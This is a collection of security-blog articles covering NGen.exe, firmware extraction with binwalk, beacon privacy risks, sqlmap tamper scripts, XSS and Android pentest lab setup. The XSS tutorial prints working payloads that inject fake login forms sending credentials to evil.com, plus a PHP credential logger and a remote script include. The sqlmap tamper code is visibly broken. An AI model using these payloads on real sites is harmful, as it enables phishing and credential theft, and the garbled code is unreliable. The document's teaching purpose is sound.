time-consuming. The .NET Framework 2.0 includes a version of NGen.exe that produces images that can be shared between application domains. NGen.exe is not recommended for ASP.NET versions 1.0 and 1.1 because the assemblies that NGen.exe produces cannot be shared between application domains. Significant Guidelines for NGen.exe It is recommended that you measure the application’s performance with and without NGen.exe. Regenerate your image when you ship new versions. Choose an appropriate base address for an assembly. Scenarios in which the ability to share assemblies will best should adopt NGen.exe. Scenarios with limited or no sharing should not use NGen.exe. Do not use NGen.exe for ASP.NET versions 1.0 and 1.1. Instead, consider it for ASP.NET version 2.0. Final Note Due to all of the issues related to NGen-manipulated files, you should be very cautious when considering the use of NGen.exe. For a client application, it might make sense to improve startup time if an assembly is used by multiple applications simultaneously. The CLR will not need to load the JIT compiler at all, reducing the working set even further. For server applications, NGen.exe makes no sense because only the first client request experiences a performance hit; future requests run at high speed. Source
-
The article will explore various strategies for reversing firmware, with some examples. Finally, some best practices are mentioned. Embedded Systems and Firmware Embedded systems are everywhere, in mobiles, cameras, TVs, smart cards, and other automated devices. They have become an integral part of our lives and have made it comfortable and easy. But how do these embedded devices work? They have installed firmware, which has its own set of instructions running on the hardware’s processor. Firmware is basically a binary file installed on customized operating systems such as Unix or Windows and very small in size. It is specifically designed and developed to perform some predetermined set of functions. The introduction and architecture of firmware is beyond the scope and context of this article. We are more interested here in analyzing firmware from a security standpoint. For this article, we’ll be using the following tools: binwalk dd, a forensics tool, extractor firmware modification kit Firmware Architecture Most firmware architectures fall into these categories: Full firmware—This mostly consists of OS (Linux, Windows, etc.), such as BusyBox, kernel, bootloaders, libraries, and applications developed over them. Partial firmware—Where one of the above components is missing. The application may run directly with Kernel privileges, may have a custom OS, or may be just associated files. Popular OS—Linux, Windows, Cisco IOS, Symbian, etc. Popular file formats—CramFS, SquashFS, etc. Popular bootloaders—U-Boot, Redboot, etc. Compressing mechanisms—Zip, LZMA, Tar, etc. After unpacking the firmware we may find the following: bootloaders, kernels, filesystem images, user apps, and web servers. We need to extract the filesystem images in order to analyze them. Analysis We’ll use binwalk here. It comes as a part of a BT5 installation by default. If not in your distro, please update your BT as per the instructions at BackTrack’s website. Binwalk is basically a tool to examine binary files. It searches for certain strings or patterns and gives the result; however, analysis needs to be done to ascertain the correctness of the results, as it may throw a lot of false positives. It lists the starting address of a certain section, size, and encryption types, etc., of the firmware. A sample: Here we can see the compressing format/ archives used (LZMA), the size, and other properties. There are also some file formats, such as SquashFS, CramFS, NTFS, etc. The most popular ones are SquashFS and CramFS. We need to unpack the archives to examine further, which may give us information about bootloaders, kernels, web servers, filesystems, etc. Let’s try the command “strings” and “hexdump” on the above binary file. The “strings” command tries to list some readable strings, which means that the file is not encrypted: Using hexedit, we may try to identify headers: Unfortunately, no headers are identified. The reason I wanted to show the above examples on a simple firmware file is that sometimes there may not be any leads while doing analysis. In the reconnaissance phase it may fail; however, the key takeaway was that the above file was not encrypted, which may be a security issue. Now let’s move to a more real firmware file, the DLink router firmware. This can be downloaded from the DLink website. Let’s examine this file and hope it will give us more results. Let’s run the “strings” command again as strings <filename>. It may give us some clues. The output shows that the file is written in the C/ C++ language, but also gives the clue that it’s not encrypted. Unfortunately, we are not able to get the boot loader information due to some error. In addition, we may check the entire output for anything else interesting, but we did not find any except that it’s developed in C/C++. Okay, let’s move on. Let’s look at the results given by hexedit. It also doesn’t immediately produce anything interesting: Let’s run binwalk on the file: Binwalk provides us with some interesting information. We need to be careful about false positives. The compression type is “lzma.” The filesystem is packed with SquashFS. The results show that it’s a Realtek firmware header and the created date is in the past; the image size of 1543680 bytes (1.48 MB) is also less than the total file size of 1543708 bytes. All of these indicate that it is a valid result. The information about encryption seems to be a false positive, as we already saw that we were able to read the strings in clear text. The filesystem SquashFS seems to be valid, since its size is well below the actual file size and the created date is in the past. We’ll use a tool here called “dd,” which is basically used in forensics investigations for extracting a chunk of data from the disk. The offset 0 proves that we have successfully carved out the filesystem. Alternatively, we can use another tool called “firmware modification tool,” which can be used to extract various file types such as squash, CramFS filesystems etc. This can be downloaded from: https://code.google.com/p/firmware-mod-kit/ This toolkit contains various tools, such as unsquash_all, uncramfs_all, extract-sh, build-firmware.sh, firmware-modification-kit.sh, etc., for different type of activities. Let’s try to extract files from the above filesystem, firmware.squash. We’ll use a tool called unsquash_all.sh, as it’s a squash filesystem: Let’s check the folder where the entire filesystem has been extracted: Now we can browse all the files and folders; the most interesting ones may be under “etc,” such as shadow or passwd files. Here are the contents of the passwd file: There is a wealth of information in /etc/rc, which contains startup scripts: One interesting thing we can see is that the firmware is starting some web services from the “webs” binary file with root privileges. Let’s run the “string” command on this to identify some hardcoded literals. We will extract the output into a text file for easy viewing: squashfs-root/bin# strings webs>> out.txt The contents of out.txt gives a wealth of information. We can inspect the contents of various folders/ subfolders such as: /lan/ethernet/ip /var/index security/firewall/httpAllow /sys/language bin/date Potential user inputs: %s is an input in string format. Remote telnet at port non 5457: It is also possible to modify the firmware file and repackage it, which we will explore in next part of this article. Conclusion Some general recommendations for secure firmware: Encryption—It prevents reverse engineering of the firmware. The firmware might be stored in encrypted form and only decrypted when it is to be executed or it might be decrypted during the firmware update process. Signing—This is concerned with ensuring that a message has not been corrupted or modified while in transit. This is important, since a malicious user cannot be allowed to alter the firmware originally delivered by the firmware producer. No hard-coded credentials—The presence of hard-coded accounts can serve as backdoors to devices. Code obfuscation—It makes runtime analysis difficult. Make it difficult for unauthorized users to obtain the firmware updates. Make it restrictive, less exposed. If the device is capable of being networked, ensure that no unnecessary services are running and that it can also alert and log when firmware has been updated. In the next part of the article, we’ll see how to modify and repackage an existing firmware file. Source
-
1. Introduction On October 6th 2014, buzzfeed.com published a report stating that Titan, a company controlling a number of New York City’s phone booth advertising displays, installed tiny wireless devices called beacons in hundreds of phone booths. The beacons pinged out a Bluetooth signal that could be received by mobile phones on which certain apps are installed and activated. Such apps can identify the location of the mobile phones on the basis of the received Bluetooth signals and send targeted advertisements to the users of the phones. The term “targeted advertising” refers to placing advertisements in such a way as to reach consumers based on various behavioral, demographic, and psychographic attributes. Because beacons are inexpensive (a beacon costs less than USD 25) and can be easily placed wherever people carrying mobile phones walk by, it is expected that the use of beacons in the near future will increase significantly. BI Intelligence forecasts that by 2018 there will be 4.5 million beacons. An article published by Business Insider stated that the business of in-store beacons is “the fastest-growing in-store technology since mobile credit card readers.” Although businesses invest significant financial and human resources in developing mobile phone applications collecting data from beacons, businesses do not put significant efforts in informing the users of such applications about the privacy risks associated with beacons. This article examines the privacy risks posed by beacons (Section 2) and proposes solutions as to how to reduce such risks (Section 3). Finally, a conclusion is drawn (Section 4). 2. Privacy risks posed by beacons The use of beacons is associated with at least two privacy risks, namely, a risk of unlawful surveillance (Section 2.1) and a risk of receiving undesired targeted advertisements (Section 2.2). These two risks are examined in more detail below. 2.1 Risk of unlawful surveillance The location data submitted by beacons can be used not only by legitimate software applications, but also by malware programs which can provide criminals with information about the location of individuals. In this regard, it is worth mentioning that there is a large number of malware programs designed specifically for operation systems of mobile devices. In the first half of 2014, the research team of Kaspersky found 175,442 new unique malware programs created specifically for Android. A large number of these malware programs are invisible. As a result, a victim whose location data is collected may not even know about the unauthorized collection of his/her data. Criminals may use the collected location data to identify behavior patterns of potential victims. Such patterns will facilitate the criminals in the selection of their victims. For instance, an individual who often visits rich parts of a city may be more attractive for thieves than an individual who visits poor parts of a city. Thieves already use online information for the selection of their victims. In 2014, thieves stole jewelry amounting to GBP 100,000 from the owners of an English law firm after reading on the Internet about the luxury lifestyle of the lawyers. 2.2 Risk of receiving undesired targeted advertisement Many users simply agree with the terms and conditions statements and the privacy policies of the mobile applications without reading them. It was estimated that a person needs 244 hours per year to read every new privacy policy encountered by her. Hence, many users would not read a legal provision in a privacy policy stating that “You agree that we may collect location data from beacons. You agree that we may pass the collected location data to third parties who may then regularly send communications to you and provide information offers and services that may be of interest to you.” Once the user agrees to such a provision, hundreds of advertisers can send advertisements customized in accordance with the location of the user. Such targeted advertisements would not be “unsolicited” or “unlawful” within the meaning of many national laws. This is because the user agrees to receive them. 3. Reducing the privacy risks posed by beacons The privacy risks posed by beacons can be reduced by enhancing the information security protection of mobile phones (Section 3.1) and obliging the companies selling mobile phone applications to obtain users’ express consent before collecting location data (Section 3.2). 3.1 Enhancing the information security protection of mobile phones The information security protection of mobile phones requires the joint efforts of users and manufacturers of mobile phones, developers of mobile phone operation systems and anti-malware software, and governments. The roles of these players in the enhancement of the information security protection are examined below. Users of mobile phones In order to avoid information security issues, the users of mobile phones may: (1) install up-to-date anti-malware software; (2) avoid the installation of suspicious software programs; and (3) learn how to avoid being tracked if they suspect that their mobile phones are affected by malware programs. For example, the users can avoid being tracked via beacons by turning off their Bluetooth devices. Manufacturers of mobile phones Manufacturers of mobile phones may: (1) reduce the vulnerabilities of their mobile phones to the maximum possible extent; (2) inform the users about the problems that may be caused by users’ negligence in relation to the information security of their phones; and (3) de-incentivize the public disclosure of vulnerabilities related to mobile phones. The mobile phone producers need to conduct extensive testing in order to reduce the vulnerabilities of their mobile phones. The manufacturers will incentivize the users to protect their mobile phones by informing them that malware programs collecting location data facilitate crimes (e.g., thefts of personal belongings). The mobile phone producers will decrease the number of information security attacks using publicly available knowledge by providing the users with full control over the operating systems and the hardware of their phones. If users do not have such control, they need to “root” or “jailbreak” their phones by finding, publicly disclosing, and exploiting vulnerabilities. Developers of mobile phone operation systems Most malware programs for mobile phone applications exploit the security vulnerabilities of mobile phone operations systems. For instance, the DroidDream malware used two exploits of the Android operating system, namely, Exploid6 and RageAgainstTheCage7. The utilization of these two exploits allowed DroidDream malware to gain root control of the operating system and install software applications without the permission of the user. The non-malicious web page JailbreakMe 3.0 for iOS devices exploits two vulnerabilities to “jailbreak” (i.e., unlock features) the operation systems of mobile phones. It is up to the developers of mobile phone operation systems to detect and remove information security vulnerabilities in their operation systems. Developers of anti-malware software The developers of anti-malware software have an important role in the enhancement of the information security protection of mobile phones. This role relates to the detection and neutralizing of malware. Governments To enhance the information security protection of mobile phones, governments can prohibit the sale of mobile phone spyware which collects data from users without their permission. In this regard, it should be noted that the sale of apps which transmit location data without permission of the user is a crime in some countries. For instance, in 2014, the CEO of a Pakistani company InvoCode was indicted in the United States of America for selling an app called StealthGenie which allows the buyers of the app to collect data, including location data, from the users of the app without their permission. In relation to the arrest, Assistant Attorney General Caldwell stated: “Apps like StealthGenie are expressly designed for use by stalkers and domestic abusers who want to know every detail of a victim’s personal life – all without the victim’s knowledge. The Criminal Division is committed to cracking down on those who seek to profit from technology designed and used to commit brazen invasions of individual privacy.” 3.2 Obtaining users’ express consent before collecting location data In the EU countries, the websites using cookies are obliged to obtain the express consent of the users before installing cookies on their computers. In order to obtain express consent, websites place a pop-up window on the main page. The pop-up window asks the users whether or not they agree with the installation of cookies. If the users disagree, the websites will not install cookies on their computers. If the sellers of mobile phone applications are obliged to use similar pop-up windows when collecting location data, users would be aware of the fact that their location data is being collected. The screenshot below displays a sample pop-up window that can be used for obtaining users’ consent to collect location data from beacons. 4. Conclusion The use of beacons is associated with at least two privacy risks, namely, a risk of unlawful surveillance and a risk of undesired targeted advertisements. The risk of unlawful surveillance can be significantly reduced by the joint efforts of users and producers of mobile phones, developers of mobile phone operation systems and anti-malware software, and governments. The risk of undesired targeted advertisements can be reduced by the adoption of regulatory measures obliging the sellers of mobile phone applications to obtain the express consent of the users before collecting location data from beacons. References 1. Bernstein, J., Ryley, S., Singer-Vine, J., ‘Exclusive: Hundreds of Devices – Hidden Inside New York City Phone Booths’, BuzzFeed, 6 October 2014. Available on http://www.buzzfeed.com/josephbernstein/exclusive-hundreds-of-devices-hidden-inside-new-york-city-ph#3x419ix . 2. Brandom, R., ‘Advertising beacons discovered in hundreds of NYC phone boots’, The Verge, 6 October 2014. Available on Advertising beacons discovered in hundreds of NYC phone booths | The Verge . 3. Brunty, J., Miller, L., Helenek, K., ‘Social Media Investigation For Law Enforcement‘, Routledge, 2014. 4. Gross, G., ‘CEO indicted for company’s alleged mobile spyware app’, NETWORKWORLD, 29 September 2014. Available on Secret iBeacon network uncovered, shut down in New York City . 5. Federal Bureau of Investigation (FBI), ‘Pakistani Man Indicted for Selling StealthGenie Spyware App’, FBI.GOV, 29 September 2014. Available on FBI — Pakistani Man Indicted for Selling StealthGenie Spyware App . 6. Hill, K., ‘How To Avoid Being Tracked By The Hidden Devices In New York City’s Phone Booths’, Forbes, 6 October 2014. Available on How To Avoid Being Tracked By The Hidden Devices In New York City's Phone Booths - Forbes . 7. Light, J., Pering, T., Sundar, M., Want, R., ‘Privacy, Security and Trust Issues Raised by the Personal Server Concept’, in ‘Privacy, Security and Trust within the Context of Pervasive Computing‘, Robinson, P. (Ed.), Vogt, H. (Ed.), Wagealla, W. (Ed.), Springer Science & Business Media, 2006. 8. Lloyd, I., ‘Information Technology Law‘, Oxford University Press, 2014. 9. Masnick, M., ‘To Read All of The Privacy Policies You Encounter, You’d Need to Take A month Off from Work Each Year’, TechDirt, 23 April 2012. Available on https://www.techdirt.com/articles/20120420/10560418585/to-read-all-privacy-policies-you-encounter-youd-need-to-take-month-off-work-each-year.shtml . 10. ‘Mobile Threat Report 2011?, Lookout.com. Available on https://www.lookout.com/resources/reports/mobile-threat-report-2011 . 11. Neagle, C., ‘Secret ad beacon network uncovered, shut down in New York City’, NETWORKWORLD, 6 October 2014. Available on Secret iBeacon network uncovered, shut down in New York City. 12. O’Reilly, L., ‘Hundreds of Ad Beacons Have Been Placed Inside NYC Phone Booths Without Public Consent’, Business Insider, 6 October 2014. Available on Titan Installs Beacons Into 500 New York City Phone Booths - Business Insider . 13. Perry, K., ‘Law firm couple suffer £100,000 jewellery raid after thieves ‘read about their luxury lifestyle on company website”, The Telegraph, 19 November 2014. Available on Law firm couple suffer £100,000 jewellery raid after thieves 'read about their luxury lifestyle on company website' - Telegraph . 14. Smith, C., ‘THE BEACONS REPORT: Growth Forecasts For The Most Important Retail Technology Since The Mobile Credit Card Reader’, Business Insider, 14 November 2014. Available on Beacons And The Retail Industry - Business Insider . 15. Wagstaff, K., ‘New York City Nixes Advertising ‘Beacons’ in Telephone Boots, NBC News, 6 October 2014. Available on New York City Nixes Advertising 'Beacons' in Telephone Booths - NBC News . Source
-
sqlmap is an attack tool which can be effectively used to perform SQL injection attacks and post exploitation acts. It is a versatile tool when it comes to SQL injections. Most security professionals use sqlmap for SQL injection related pen tests. sqlmap is a modular framework written in Python. It can detect most of the SQL injection flaws across the different platforms. The following databases are supported: ySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB. After exploitation is successful, it can enumerate databases and tables and also can dump database and tables. This tool can be downloaded from: sqlmap: automatic SQL injection and database takeover tool In this tutorial we will explore a very powerful feature of sqlmap: .ie tamper scripts. Usually when you are trying to exploit an SQL injection flaw, the most basic and conventional attack vector is http. Now what if the medium is different or if it is using some kind of different encoding? That’s where tamper scripts come in to help. We can use tamper scripts to decode and encode data before it is passed to sqlmap. sqlmap introduction After downloading sql map from the website, sqlmap can be started using the sqlmap command in the install directory Following is the basic usage of sqlmap. Target: At least one of these options has to be provided to set the target(s). -d DIRECT Direct connection to the database -u URL, –url=URL Target URL (e.g. “www.target.com/vuln.php?id=1?) -l LOGFILE Parse targets from Burp or WebScarab proxy logs -m BULKFILE Scan multiple targets enlisted in a given textual file -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target URLs -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target URL. –data=DATA Data string to be sent through POST –param-del=PDEL Character used for splitting parameter values –cookie=COOKIE HTTP Cookie header –cookie-del=CDEL Character used for splitting cookie values –load-cookies=L.. File containing cookies in Netscape/wget format –drop-set-cookie Ignore Set-Cookie header from response –user-agent=AGENT HTTP User-Agent header –random-agent Use randomly selected HTTP User-Agent header –host=HOST HTTP Host header –referer=REFERER HTTP Referer header –headers=HEADERS Extra headers (e.g. “Accept-Language: frnETag: 123?) It also supports a Python based API . You can include this file in your Python script to automate and run sqlmap. Sqlmapapi.py can be used to start A RPC server for sqlmap. if args.server is True: server(args.host, args.port) elif args.client is True: client(args.host, args.port) Now let’s try to harness the power of sqlmap and perform a local attack using SQL injection. After successfully exploiting the server, we can perform the following post exploitation attacks: Defeating encoding using tamper scripts One of the most beautiful things about sqlmap is that it can be extended to work on custom encoding. Usually many tools or conventional SQL injectors fail on custom encoding schemes. We can write tamper scripts for sqlmap to bypass encoding. Let’s consider this situation where the data in the web application is encoded before passed to a function. <?php $publicKey = openssl_get_publickey(file_get_contents("$dir/pubkey_rsa.pem")); // encrypt the data openssl_seal($data, $sealed, $ekeys, array($publicKey)); openssl_free_key($publicKey); $sealed = base64_encode($sealed); $privateKey = openssl_get_privatekey(file_get_contents("$dir/privkey_rsa.pem")); openssl_open(base64_decode($sealed), $opened, base64_decode($Xevk), $privateKey) or die(openssl_error_string()); openssl_free_key($privateKey); passfunction($sealed) ?> We can write a tamper script to encrypt the data in RSA format. The following script shows how to tamper the data in RSA format. import base64 from Crypto.PublicKey import RSA from Crypto import Random from lib.core.enums import PRIORITY from lib.core.settings import UNICODE_ENCODING class MultipartPostHandler(urllib2.BaseHandler): handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first def http_request(self, request): data = request.get_data() if data is not None and type(data) != str: v_files = [] v_vars = [] try: for(key, value) in data.items(): if isinstance(value, file) or hasattr(value, 'file') or isinstance(value, StringIO.StringIO): v_files.append((key, value)) else: v_vars.append((key, value)) except TypeError: systype, value, traceback = sys.exc_info() raise SqlmapDataException, "not a valid non-string sequence or mapping object", traceback if len(v_files) == 0: data = urllib.urlencode(v_vars, doseq) else: boundary, data = self.multipart_encode(v_vars, v_files) contenttype = 'multipart/form-data; boundary=%s' % boundary #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0): # print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data') request.add_unredirected_header('Content-Type', contenttype) request.add_data(data) return request def multipart_encode(vars, files, boundary = None, buf = None): if boundary is None: boundary = mimetools.choose_boundary() if buf is None: buf = '' for (key, value) in vars: buf += '--%srn' % boundary buf += 'Content-Disposition: form-data; name="%s"' % key buf += 'rnrn' + value + 'rn' for (key, fd) in files: file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\')[-1] contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' buf += '--%srn' % boundary buf += 'Content-Disposition: form-data; name="%s"; filename="%s"rn' % (key, filename) buf += 'Content-Type: %srn' % contenttype # buf += 'Content-Length: %srn' % file_size fd.seek(0) buf = str(buf) buf += 'rn%srn' % fd.read() buf += '--%s--rnrn' % boundary return boundary, buf __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Encrypts payload in RSA format """ random_generator = Random.new().read public_key = key.publickey() enc_data = public_key.encrypt(payload, 32) return enc_data Source
-
This tutorial is for beginner Cross-site scripting (XSS) is a very popular term, not just among web application security guys, but also among developers, where popping an alert box with a message in it is a HUGE hit. Among the locations where XSS is generally found in a web application, the most common is a search form. Before we go ahead, I would like to give a brief introduction to XSS and its types. According to OWASP’s “Top 10 Web Application Vulnerabilities of 2013,” Cross-Site Scripting (XSS) is in the third position. This vulnerability exists in most web applications, ranging from a small organization’s website to that of big MNCs. Bug bounty is a proof of what I just said: There, XSS is one of the most reported vulnerabilities by security researchers. There are three types of XSS: Reflected XSS Stored XSS DOM-based XSS Reflected XSS Reflected XSS is also called Type-II XSS. This type of XSS is reflected (executed in the browser) as soon as the injected code is processed by the web browser. One thing to note here is that the code injected is processed by the web server application and the response contains our injected code, and the injected code is not stored in the web application. Example: Without reflected XSS: With reflected XSS: Stored XSS Stored XSS is also called Type-I XSS. This type of XSS is stored by the web application, most of the time in a database. When a script fetches data from a table that contains our XSS code and shows it on a page, then our XSS code gets executed by the web browser. Since the injected code is stored inside the database and the script itself fetches it and displays it on page, it is called a stored XSS. This type of XSS is the deadliest of all because, there a lot of harmful code can be injected by exploiting this vulnerability. Without stored XSS: With stored XSS: DOM-Based XSS DOM-based XSS is also called Type-0 XSS. (Many people find it tough to understand and also tough to find in an application.) In this type of XSS, the injected code is used to change the document object model that is used by a script in the page for some purpose. For example: A page accepts a parameter “default” and its value is used as an input to a client-side script. Changing the value of this parameter does not change the response from the server. The value of “default” is read by a client-side script in the page that is NOT filtered properly. If malicious code is injected into this variable, because of which the script executes in an unexpected way and the injected code is executed by the web browser, then DOM-based XSS exists. Without DOM-based XSS: With DOM-based XSS: If you see the HTML code for this page (on which XSS executed), you won’t find XSS in it because the response from server doesn’t contain injected code. The malicious code is processed by a vulnerable client-side script (here JavaScript in <script>…</script> tag). More about Reflected XSS Sometimes telling a developer that I can pop an alert box on your web application doesn’t pop his/her eyes. It looks like any other pop-up window. What harm can it do? Let me tell you that it can do a lot of harm to both normal users and the administrators of the website. Through the following example, let us see what more we can get from a reflected XSS: http://10.0.0.2/xss/index.php Try to log in, using any random username-password combination. The page responds with an error message: Invalid username/password t is sad that we couldn’t log in to the web application. But note that the error we see on the page is also present in the GET parameter “msg” in URL. [mg]http://resources.infosecinstitute.com/wp-content/uploads/121013_1551_DeadlyConse12.png Let us change the message to something else and see what we get in response. http://10.0.0.2/xss/index.php?msg=HelloWorld So what we give as input to “msg” is used as error message shown on screen. Let us now replace it with some HTML code. <font color=yellow><h1>Hello World</h1></font> Wow. Our HTML code was executed successfully. Now it’s time for everyone’s favorite alert box message using <script> tag. <script>alert(“Reflected XSS found”)</script> Awesome. But what more can we get from it? Sending a user a hyperlink in an email so that he/she clicks on it and an alert box pops-up on screen is of not much use. Many a times XSS is also used to redirect to another, similar looking phishing page, but here I would like to show a better method to do it. Above I showed that we can inject HTML content on the page using XSS. Now, using HTML, I will create a similar looking log-in form. http://10.0.0.2/xss/index.php?msg=<center><h1>Secure User Login</h1><form name=login action=index.php method=post>Username:<input type=text name=username> Password:<input type=password name=password> <input type=submit value=Login name=submit></form></center> We see two forms on page but we want our fake form only to be shown. Using JavaScript’s “document.body.innerHTML” it can be done. It is used to set the content of the <body> tag. http://10.0.0.2/xss/index.php?msg=<script>document.body.innerHTML=””;</script> Now let us modify it so that we have our fake log-in form shown on page. http://10.0.0.2/xss/index.php?msg=<script>document.body.innerHTML=”<center><h1>Secure User Login</h1><form name=login action=index.php method=post>Username:<input type=text name=username> Password:<input type=password name=password> <input type=submit value=Login name=submit></form></center>”;</script> If you look at the original page, you will notice that both the forms are exactly the same and it is impossible to differentiate between the two by just looking at them. Moving on to malicious coding using XSS. Change the “action” parameter of <form> tag to that of a remote location page which stores the username and password sent over HTTP POST. <?php $user = $_POST['username']; $pass = $_POST['password']; $fh = fopen(“log.txt”, ‘a’) or die(“can’t open file”); $stringData = “nUsername:$usernPassword:$passn”; fwrite($fh, $stringData); fclose($fh); header(“Location: http://10.0.0.2/xss/index.php?msg=Invalid username/password”); ?> Modified URL containing evil XSS: 10.0.0.2/xss/index.php?msg=<script>document.body.innerHTML=”<center><h1>Secure User Login</h1><form name=login action=http://evil.com/store.php method=post>Username:<input type=text name=username> Password:<input type=password name=password> <input type=submit value=Login name=submit></form></center>”;</script> The HTML source looks like this: The original login form is replaced with the fake login form created using reflected XSS. Trick User by Using DOM-Based XSS We have a sample page vulnerable to DOM-based XSS. Checking out the HTML source and we can clearly see that it is vulnerable to DOM-based XSS. Malicious URL containing XSS using DOM: http://10.0.0.2/xss/domxss.php?default=<script>document.body.innerHTML=”<center><h1>Secure User Login</h1><form name=login action=http://evil.com/store.php method=post>Username:<input type=text name=username> Password:<input type=password name=password> <input type=submit value=Login name=submit></form> Your current language is: English </center>”;</script> When we see the HTML source we won’t find anything different, which was not the case with reflected XSS. Original page HTML source: Fake page created using DOM-based XSS: Stored XSS – Less Code More Damage Stored XSS allows us to import JavaScript files (.js) from remote location and use it in our page. A page vulnerable to stored XSS is like a heaven for this, because an attacker can host a JavaScript file containing malicious code on a remote server and import it to the page vulnerable to stored XSS. The advantage of importing a script file is that an attacker can always modify the contents of the JavaScript file and execute new payloads without performing XSS again-and-again on vulnerable page. Importing of external JS files: <script type=”text/javascript” src=http://evil.store/malicious.js></script> For an example, see this page: http://10.0.0.2/xss/stored-xss.php This page is password protected, but is vulnerable to stored XSS. As you can see, we can execute HTML-injected code and it is stored data shown on page. Now we host our malicious Javascript code on a remote server. The file contains a fake log-in page crafted using Javascript. Malicious Javascript code: function callme() { document.body.innerHTML=”<html><head><title>Secure Login</title></head><body background=http://10.0.0.2/xss/1.png><center><h1>Secure User Login</h1><form name=login action=http://evil.com/store.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form><br></center></body></html>”;} Inject the following code as a message on the vulnerable page: <script type=”text/javascript” src=”http://pastebin.com/raw.php?i=gS0T7YrU”></script><Script>callme()</script> Before submitting the request containing <script>…</script>: After submitting the request containing <script>…</script>: The page now shows a fake login page. It looks the same as the original one. But seeing the HTML source code we see this: The HTML source shows the reality of this fake login page. Some of the most popular attacks carried out using XSS are: Cookie stealing Alert pop-up on page Redirecting to another website/page/phishing site Executing browser exploits XSS is a very underestimated vulnerability. It is very important for both developers and web application testers to understand that a lot of damage can be caused using this vulnerability Enjoy XSS Source
-
To begin with mobile application penetration testing on the Android platform, we have multiple tools available that can be easily downloaded and installed to prepare the environment testing.These tools will help us to set up a virtual device serving as a smart phone using Android and the mobile application that is installed will undergo security testing. In this article we will discuss: Setting up the emulator Setting up the proxy (Burp Suite) Installing the certificate Installing the test application (Goatdroid). Setting Up the Emulator The Android SDK can be downloaded from the following link: Download Android Studio and SDK Tools | Android Developers. Depending on what operating system you are working on, you can download it for Linux or Windows. I will be using Windows 7 for the demonstration. After downloading it, you can extract the bundle and, as you can see, inside the bundle there are SDK manager.exe and other folders. Right now, we want to set up an emulator, so we will launch Android SDK manager to create our AVD (Android virtual device); this will be our virtual Android phone, on which we will be installing apps. After launching the Android manager, go to Manage AVDs and add new. You can create a new AVD by giving it a name like Myandroid. You can select any device; I have selected it as Nexus 4. Select the target as the Android version that you are interested in. Other options are very clear and you can select accordingly. You can assign RAM and make sure to give some space for an SD card, as it will be useful later on in this post. Also, don’t forget to select the snapshot option so it will save the state of the AVD. As you can see, MyAndroid appears in the list of AVDs and it is ready for use. Let us start the device. The virtual device is launched, as we can see the Nexus 4 virtually. To test the mobile that will be installed in this emulator, we will need an intercept proxy like Burp Suite to capture the requests/response. I am using the free version of Burp Suite for this demo. First, we will configure Burp Suite to listen on external interfaces. In Proxy ? Options ? Proxy Listeners ? Edit ? Binding select “Specific address” or you can also select it to listen on “All interfaces.” This will allow the virtual device to connect to Burp Suite. To connect to Burp Suite inside the virtual device, go to Settings ? Wireless and networks ? more ?VPN ? Mobile networks ?Access Point Names ? Select the default APN of the device and Edit Access point. Set the proxy and port as the IP of the main system and the port on which Burp is running. Refer to the screenshot below: This will allow Burp Suite to intercept all the requests generated by this virtual device. As you can see in the screenshot below, when we launched the browser, the request generated to Google was intercepted by the Burp Suite proxy in the middle, which confirms that our settings are correct and are working fine. Also, you may notice that, when we browse a site hosted over HTTP, it generates a pop-up notifying us that the connection is untrusted. To avoid this pop-up every time we browse a site hosted over HTTPS, we will install the Burp certificate in the device so that browser of the VD will trust the Burp Suite and will smoothly allow the communication. This will save our time while we perform security testing. To install the Burp Suite certificate, first we will import it. Let us browse any web application hosted over HTTPS from the browser of our main system (Firefox, in my case), which has a proxy configured as Burp Suite. Please note that I have configured my Firefox browser to use Burp as proxy by changing the settings at Tools ? Options ? Network ? Settings ? Manual Proxy configuration. Refer to this screenshot: As you browse the website, the browser will generate the alert saying the connection is untrusted. Click on “Add Exception” and then you can go to the “View.” To import the certificate, see the “Details.” You can select “PortSwigger CA,” export it, and save it on your system. The saved certificate will be in the .crt format. Our next task is to install this certificate in the virtual device. Let us first push this certificate inside the virtual device. Here we will be pushing the certificate into the SDcard. One way to push it is by using the “adb push ” command to transfer the certificate to the sdcard of the VD. As we see in the sdcard folder, the PortSwiggerCA.crt is successfully saved. So our certificate is inside our virtual device. Now it is time to install the certificate. Go to Settings ? Security ? Install from SD card. After clicking OK, the PortSwiggerCA certificate will be successfully installed. Also to verify the installation, Go to Settings ? Security ? Trusted Credentials. You can see in USER that the installed certificate is successfully displayed. So we are all set for mobile app penetration testing. The next step is to install the application in the virtual device that will undergo security testing. The test application we will be using is Goatdroid (https://www.owasp.org/index.php/Projects/OWASP_GoatDroid_Project) by owasp. The application can be downloaded from the following link: https://github.com/downloads/jackMannino/OWASP-GoatDroid-Project/OWASP-GoatDroid-0.9.zip This Android application is purposefully made vulnerable for educational purposes. We will be pushing this application in the AVD. Let us download this zip file and extract the contents. Let us have a look what it contains. goatdroid_apps contains two vulnerable apps: FourGoats HerdFinancial We will be installing these two apps in the AVD. Also, goatdroid-0.9.jar will launch the server for these two apps to communicate with. Let us launch goatdroid-0.9.jar: You can specify the location of the virtual device and the SDK path in order to identify the virtual device that this application is going to access. As you can see, it can also push the apk files (FourGoats and HerdFinancial) into the virtual device and install these vulnerable apps. Just make sure that the path specified for the virtual device and SDK path is correct. Let us push the app into the device. And, as you can see, the app is successfully installed in the device and will be displayed in the VD. Start the web service, as we are going to log in to the FourGoats. Let us first provide some destination info to the FourGoats application, to access Burp Suite (IP 192.168.4.9 port 8082) and the port on which the web service will be accessed(9888). Now you are set to log in. Use the username goatdroid and password goatdroid and you are ready to test this application, with a successful login and Burp Suite in the middle to capture and modify the request. In the same way, you can push the other app, HerdFinancial, and test it. Source
-
